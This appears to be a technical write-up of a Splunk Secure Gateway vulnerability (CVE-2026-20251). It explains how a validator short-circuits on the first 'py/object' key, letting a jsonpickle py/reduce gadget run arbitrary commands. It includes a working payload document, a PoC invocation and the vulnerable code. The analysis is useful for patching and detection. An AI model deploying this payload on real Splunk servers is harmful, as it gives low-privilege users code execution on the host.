Step 0  Low-privilege attacker writes a crafted bypass document to the
        'mobile_alerts' KV Store collection via the Splunk REST API.
        No admin or power role required.

Step 1  SSG processes an alert fetch request.
        alerts_request_processor.py reads the document and passes it to
        check_alert_data_valid_json().

        → Validator sees "py/object": "spacebridgeapp..." as the FIRST key,
          returns True, and never inspects the "notification" sibling that
          carries the py/reduce gadget.

Step 2  The (now validated) document is passed to
        jsonpickle.decode(..., safe=True).
        jsonpickle loadclass()es the lure Alert object, instantiates it,
        then iterates its stored attributes. When it reaches the
        "notification" value, _restore_reduce() fires:

            stage1 = f(*args)     # unpickler.py ~line 526

        safe=True has no effect on this code path.

Outcome  Arbitrary code execution as the Splunk service account.
         Requires only a valid low-privilege Splunk login.

{
  "py/object": "spacebridgeapp.data.alert_data.Alert",
  "notification": {
    "py/reduce": [
      {"py/function": "subprocess.check_output"},
      {"py/tuple": [["uname", "-a"]]}
    ]
  }
}

python3 poc_cve_2026_20251.py -h 127.0.0.1

alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
    raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True)   # ← sink

# Validator short-circuits on the first 'py'-prefixed key:
for key, value in data.items():
    if key.startswith("py"):
        if key == "py/id":
            return value.isinstance(int)
        elif key == "py/object":
            return value.startswith("spacebridgeapp")  # ← returns immediately
        else:
            return False
    # ... sibling keys are never reached